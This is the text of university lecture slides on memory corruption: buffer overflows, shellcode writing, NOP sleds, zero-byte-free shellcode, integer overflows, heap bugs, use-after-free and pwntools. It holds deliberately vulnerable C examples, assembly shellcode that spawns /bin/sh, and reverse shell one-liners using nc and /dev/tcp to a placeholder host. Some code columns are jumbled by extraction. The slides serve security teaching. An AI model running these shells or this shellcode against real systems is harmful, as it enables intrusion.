Security Core Lecture
06 Software Security III –
Memory Corruption
Prof. Dr. Thorsten Holz | 09.11.2023
Further Reading
§ Szekeres et al.: “SoK: Eternal War in Memory”, IEEE S&P’13
§ Many tutorial available
- LiveOverflow: https://www.youtube.com/@LiveOverflow
• https://www.youtube.com/watch?v=oS2O75H57qU
• https://www.youtube.com/watch?v=8QzOC8HfOqU
- https://www.ired.team/offensive-security/code-injection-process-
injection/binary-exploitation/64-bit-stack-based-buffer-overflow
- https://www.rapid7.com/blog/post/2019/02/19/stack-based-buffer-overflow-
attacks-what-you-need-to-know/
1
This Lecture
§ Last lectures
- Stack and push/pop instructions
- Calling conventions for x64 / x86
§ This lecture
- User vs. kernel mode
- (Stack-based) Buffer overflows
• Data corruption, code execution, shellcode, NOP sleds, zero bytes, …
- Other types of memory corruption vulnerabilities
2
Recap: Memory Layout: Stack in x64
§ Call stack (stack frame) is subroutine’s perspective on stack, includes the
following info
- arguments (parameter values) passed to routine (if any);
- return address back to the routine’s caller
- space for local variables (if any)
§ Red zone as sketch space for function
- System V AMD64 ABI (e.g., Linux and macOS) uses 128
bytes as red zone
- Guarantee that this space is preserved (e.g., not clobbered
by signal handlers)
- Useful for leaf function (overhead of moving rsp is avoided)
- No redzone on Windows, memory below rsp is volatile
3
Recap: Memory Layout: Stack in x86 (Example)
Assembly (int main(), caller)
§ Stack layout (cdecl)
; in main
01: push 0x3
02: call recurse
C Code 03: add esp,0x4
uint32_t recurse(uint32_t a) {
; in recurse
if (a <= 1) {
04: push ebp
return 1;
05: mov ebp,esp
} else { 06: push ebx
return a+recurse(a-1); 07: mov ebx,[ebp+0x8]
} 08: cmp ebx,0x1
fin: 09: mov eax,0x1
} 10: jbe end_recurse
11: lea eax,[ebx-0x1]
12: push eax
int main(...) {
13: call recurse
recurse(3);
14: add esp,0x4
fin: 15: add eax,ebx
} 16: end_recurse:
17: pop ebx
18: leave
19: ret
4
Recap: Memory Layout: Stack in x86 (Example) II
5
User vs. Kernel Mode
Privilege Rings
§ CPU enforces protection levels in hardware
- Intel designed four rings: ring-0 (most privileges) to ring-3 (least privileges)
- System software runs in ring-0 (kernel land)
- Unprivileged processes run in ring-3 (user mode)
- Device drivers were planned to run in ring-1 or ring-2
- Additional rings (-1, etc.) come with virtualization
§ Protection levels provide a hardware-enforced separation
between privileged and less privileged code
7
Privilege Rings II
§ In practice, OSes use just two rings: 0 (kernel) and 3 (user)
- No separation for device drivers, they run in ring-0 as well
- CPU vendors offering just two rings forced OSes to this downgrade in
security
§ Restriction of ring-3 (“unprivileged”) code
- Several instructions are forbidden by CPU
- No access to other processes’ address space
- No direct I/O (files, hardware, bus, ...)
- No direct access to ring-0 code and data
- No direct access to physical memory
- …
8
Memory Separation in Windows/Linux (Revisited)
§ All processes map the kernel, but cannot directly access kernel land
- Mapping kernel allows for efficiency, otherwise kernel switch has to remap
- User land must not be able to read kernel data
- System calls provide the interface between user and kernel land
§ System calls at a glance:
- Unprivileged process invokes one of the
predefined system calls
- System call traps to OS, i.e., CPU elevates
privileges of the process and runs the system
call handler
- System call handler performs operations as
requested by process and returns to the user
(i.e., CPU downgrades privileges)
9
Virtual System Calls / vDSO (virtual dynamic shared object)
§ Some system calls are not really security critical
- E.g., gettimeofday(), which still requires trapping to kernel for each call
§ Virtual system call (vsyscall) run entirely in
user space
- Readable/executable kernel page mapped
in each proc at fixed address
- Security drawback: lack of address
randomization eases code-reuse attacks
§ vDSO overcomes this problem
- vDSO is a shared library in user space and
can be located at any address
- Linux kernel makes particular page
available to unprivileged processes (which
also vDSO library can read) 10
Linux Process Mapping Example
11
Memory Corruption
Vulnerabilities
Memory Corruption
§ Still one of the most widely used attack methods for compromising
computer systems
§ If successful, allows execution of arbitrary code in the context of the exploited
program
§ Goal / Steps for code-injection attacks
- Inject instructions into memory of vulnerable program
- Exploit program vulnerability to change control flow (flow of execution)
- Execute (arbitrary) injected code
§ Disadvantages
- Architecture dependent, we need to directly inject assembler code
- Operating system dependent: use system call functions
- (Maybe) Some guess work involved (correct addressing)
13
Microsoft’s View
14
Google Chromium’s View
“Around 70% of our high severity security
bugs are memory unsafety problems
(that is, mistakes with C/C++ pointers).”
Analysis based on 912 high or critical
severity security bugs since 2015
https://www.chromium.org/Home/chromium-security/memory-safety 15
Buffer Overflow: Data Corruption
§ Buffer overflow
- Out-of-bounds write may corrupt data
(or function pointers)
- Variable-size data types in C do not
enforce strict bounds checks
Buffer Overflow in fgetc() Call
int do_auth() {
register int i = 0;
register char ch;
char username[8];
int auth_successful = 0;
printf("Please enter user name: ");
while ((ch = fgetc(stdin)) != EOF) {
username[i++] = ch;
}
if (!strcmp(username, "aDm1N"))
auth_successful = 1;
}
https://godbolt.org/z/b4KM6becn 16
Buffer Overflow: Data Corruption II
§ As a defense, compilers usually reorder local variables
- Order of variables on stack does not represent the one specified in code
- Store variable types prone to vuln. (e.g., strings, buffers) at higher
addresses
- Store other variables (e.g., integers) at lower addresses
- Out-of-bound writes affects as few other variables as possible
§ Back to example from last side:
- Swapping the order of string buffer and flag variable
would solve the data-only attack problem
17
Buffer Overflow: Code Execution
§ Overwrite return address with pointer to shellcode
- Saved rip will blindly be interpreted as address to return to upon ret
- Attacker can place arbitrary shellcode on stack and execute it (if stack
executable)
Buffer Overflow in fread() Call
#include <stdio.h>
int mystr(char *fn) {
char mystr[512];
FILE * f = fopen(fn, "rb");
fread(mystr, 1024, 1, f);
return mystr[0];
}
https://godbolt.org/z/x6YcqsYP3
18
Buffer Overflow: Code Execution II
§ Function return will transfer control to shellcode
- ret pops saved rip from stack, which is now
attacker-controlled
- If attacker can approximate/guess buffer
address, they can specify target
Assembly Code of Buffer Overflow Example
push rbp
mov rbp, rsp
sub rsp, 0x200
mov esi, 0x4006ac
call 400480 <fopen@plt>
mov rcx, rax
mov edx, 0x1
mov esi, 0x400
lea rdi, [rbp-0x200]
call 400450 <fread@plt>
movsx eax, BYTE PTR [rbp-0x200]
leave
ret ; pop and jump to &shellcode 19
Shellcode
§ Shellcode
- Shellcode is attacker-controlled code that will be jumped to and will
execute after a memory corruption attack
- Shellcode can be seen as the payload of an exploit
- For example: Code placed on an executable stack and returned to
§ Shellcode is almost arbitrary code that gets executed by attacker
- Code that was never meant to execute in a program
- Assumption: Attacker can inject shellcode into memory of running process
20
Introductory Example to Shellcode Writing
§ Our goal is to execute a shell
- This goal is also the origin of the term shellcode: code running a shell
- We aim to use sys_execve(fname, argv, envp) system call
Shellcode to spawn /bin/sh
; sys_execve ( char *fname, char *argv[], char *envp[] )
; rax = 59 ( rdi, rsi, rdx )
; prepare fname argument
mov rbx, '/bin/sh’
push rbx. ; push string in rbx on stack (/bin/sh)
push rsp. ; rsp points to last element on stack ====>
pop rdi ; read pointer to string into rdi
; prepare other two args, basically, pass NULL pointers
mov rsi, 0 ; assumes that /bin/sh is called, not
busybox
mov rdx, 0
; set system call number to execve’s (59) and execute it
mov al, 59 ; assume rest of rax was zero before this op
syscall
21
NOP sleds
§ Sometimes attackers cannot predict exact location of shellcode
- Add nop sled at the beginning of code: several consecutive nop instructions
- No matter where entered, nop sled will lead to actual shellcode payload
- Attacker has higher chance to start at the correct position
NOP sled demo
; NOP sled
nop
nop
mop
nop
; ... more NOPs
nop
nop
nop
nop
; Actual shellcode goes here
xor eax, eax
; ...
22
Shellcode Without Zero Bytes
§ C string functions assume zero byte (0x00) terminates a string
- Effectively, string functions stop when they encounter a zero byte
- Assume you pass an input string to a vulnerable strcpy(src, dst) call
strcpy() stops on the first zero byte encountered in src
§ Solution: Design shellcode to be zero-byte free
- Guarantees that string functions do not terminate prematurely
23
Shellcode Without Zero Bytes II
§ Revisiting our shell code example shows that it is not zero-byte free
§ Two types of zero bytes are immediately visible
- The string “/bin/sh” is zero-terminated (2nd line)
- Moving zero (or other small numbers) into the registers includes zero bytes
Shellcode to spawn /bin/sh
400080: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f6e69622f
400087: 73 68 00 (...)
40008a: 53 push rbx
40008b: 54 push rsp
40008c: 5f pop rdi
40008d: be 00 00 00 00 mov esi,0x0
400092: ba 00 00 00 00 mov edx,0x0
400097: b0 3b mov al,0x3b
400099: 0f 05 syscall
24
Shellcode Without Zero Bytes III
§ Zero-byte free number assignments
Assignment Including Zero Bytes Equivalent but Zero-Free Assignment
; zeroing a register ; zeroing a register
mov rax, 0 xor rax, rax
; store 1-byte integer ; store 1-byte integer
mov rax, 47 xor rax, rax
mov al, 47
; store 3-byte integer
xor rax, rax ; store 3-byte integer
mov rax, 0x112233 xor rax, rax
mov ax, 0x1122
shl eax, 8
mov al, 0x33
25
Shellcode Without Zero Bytes IV
§ Zero-byte free strings
With Zero Bytes Zero-Free (16 bytes; two qwords on stack)
mov rax, '/bin/sh’ xor rax, rax
push rax push rax
0
mov rax, '//bin/sh’ //bin/sh
push rax
/bin/sh0
Zero-Free (24 bytes; one qword on stack)
mov rax, '/bin/shX’
xor rbx, rbx
dec rbx
shr rbx, 8
and rax, rbx ; zero the MSB
push rax
26
Shellcode Without Zero Bytes V
§ Everything put together yields zero-free shellcode
Zero-byte Free Shellcode to Spawn /bin/sh (27 bytes)
; prepare fname
xor rax, rax
push rax
mov rbx, '//bin/sh’
push rbx ; push string in rbx on stack (/bin/sh)
push rsp ; rsp points to last element on stack
pop rdi ; read pointer to string into rdi
; prepare other two args: pass NULL pointers
xor rsi, rsi
xor rdx, rdx
; set syscall number to execve (59) and execute
mov al, 59
syscall
27
Shellcode Minimization
§ Shellcode might be limited in size
- For example, a buffer overflow just allows to store certain number of bytes
- Shellcode typically can be minimized by carefully selecting instructions
- Equivalent instructions (combinations) might exist
Code Not Optimized for Space Space-Optimized Code
; zeroing rax (5B) ; zeroing rax (2B)
mov rax, 0 xor eax, eax
; zero rax, rdx, rbx (6B) ; zero by multiply (4B)
xor eax, eax xor rbx, rbx
xor edx, edx mul rbx
xor ebx, ebx
; MAXINT = 0 – 1 (5B)
; store MAXINT in rax (7B) xor eax, eax
mov rax, 0xffffffffffffffff dec rax
; copy rbx to rax (3B) ; copy via stack (2B)
push rbx
mov rax, rbx
pop rax
28
Reverse Shell
§ A typical exploitation goal is to have a reverse shell
- Reverse shell connects back to attacker and gives attacker a shell over
system
§ There are basically two prominent ways to spawn reverse shell
- Option A: start a tool that gives you remote shell built-in
nc -e /bin/sh 10.0.0.1 1234
- Option B: Use a normal shell and redirect stdin/stdout to network
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
- Option B’: If bash features are lacking, redirect stdin/stdout using dup2()
s = socket(); // create socket
dup2(s, 0); // stdout from socket
dup2(s, 1); // stdin from socket
connect(s, dst); // connect to attacker
execve("/bin/sh"); // spawn shell
29
Other Types of Memory
Corruption
Integer Overflows
§ Another class of overflows: integer overflows
- Integers are represented by the CPU using a fixed number of bits
- If value greater than max, integers wrap around (i.e., modulo max value + 1)
- Especially relevant for computations related to memory management
Example
int catvars(char *buf1, char *buf2, unsigned int len1,
unsigned int len2) {
char mybuf[256]; Problem: If len1 = 0x104 and
len2 = 0xfffffffc,
if ((len1 + len2) > 256)
{ return -1; } then len1 + len2 = 0x100
(decimal 256),
memcpy(mybuf, buf1, len1);
memcpy(mybuf + len1, buf2, len2); allowing buffer overflow attack!
do_some_stuff(mybuf);
return 0;
}
31
Heap Corruption Attacks
§ Heap overflow requires modification of boundary tags
- In-band management information
- Task is to fake these tags to trick memory allocator into overwriting
addresses of attacker’s choice
§ Different techniques depending on memory manager
- Phrack 57-9 (Once upon a free())
- Low Fragmentation Heap on Windows
- https://github.com/shellphish/how2heap and LiveOverflow:
https://www.youtube.com/watch?v=HPDBOhiKaD8
32
Use-After-Free Vulnerabilities
§ Temporal memory error: data on heap (e.g., pointer) is freed, but reference
(called dangling pointer) is used by the program as if data were still valid
§ Attacker needs to allocate different type of object on heap such that
dangling pointer points into this area
§ Once dangling pointer is used, attacker can control what data is used
§ Relevant for browsers and other complex programs
- One of the most relevant problems these days
§ LiveOverflow: https://www.youtube.com/watch?v=ZHghwsTRyzQ
33
More Techniques
§ Many more techniques and methods to
corrupt memory
- Type confusion vulnerabilities
- Uninitialized use
- Off-by-one
- Information leaks
- …
§ We covered the basic techniques today,
more details in further reading
- Szekeres et al.: “SoK: Eternal War in
Memory”, IEEE S&P’13
- Advanced lectures on this topic
34
Practical Tools
Useful Tools for Software Exploitation & Shellcode Writing
§ readelf
- Display ELF file header (sections, segments, symbols)
§ nasm –f elf64 inp.asm –o bin
- Compile assembly; useful for shellcoding
§ objdump -d -j ".text" -MIntel bin
- Disassemble code section of program using Intel syntax
§ gdb / gdbtui
- Standard Linux console debugger with assembly support
36
Pwntools
§ Import module and specify environment
from pwn import *
context(arch='amd64', os='linux’)
§ Extract program information
elf_info = ELF('./bin')
elf_info.aslr # true if ASLR enabled
elf_info.nx # true if stack is non-executable
elf_info.symbols['main’] # address of main function
§ Compile assembly using pwntools
bc = asm('mov eax, 0x01020304’) # \xb8\x04\x03\x02\x01
§ Disassemble the machine code back to assembly
disasm(bc) # 0: b8 04 03 02 01 mov eax, 0x1020304
37
Pwntools II
§ Communication with a program executing on a server
p = remote('10.0.0.1', 1234)
p.send('a’) # send "a"
p.sendline('a’) # send "a\n”
data = p.recv() # receive everything printed so far
data = p.recvn(4) # receive n bytes
data = p.recvall() # receive everything until EOF
data = p.recvline() # receive a single line
data = p.recvuntil('mark’) # receive until mark
data = p.recvregex('\d+’) # receive until regex match
38
Pwntools III
§ Writing (‘\n’- and ‘\0’-free) shellcode
shellcraft.amd64.mov('eax', 1) # move 1 to eax w/o \n / term.
shellcraft.amd64.pushstr('abc’) # push 'abc' on stack
§ Custom encoding functions
encode(asm('mov eax, 1234'), 'abcd’) # avoid chars: 'abcd'
39
Pwntools IV
§ Visit http://docs.pwntools.com for more information, such as:
- http://docs.pwntools.com/en/stable/tubes/processes.html
- http://docs.pwntools.com/en/stable/tubes/sockets.htm
- http://docs.pwntools.com/en/stable/tubes.html
- http://docs.pwntools.com/en/stable/asm.html
- https://docs.pwntools.com/en/stable/shellcraft/amd64.html
- http://docs.pwntools.com/en/stable/encoders.html
- http://docs.pwntools.com/en/stable/rop/rop.html
- http://docs.pwntools.com/en/stable/gdb.html
- http://docs.pwntools.com/en/stable/util/packing.html
40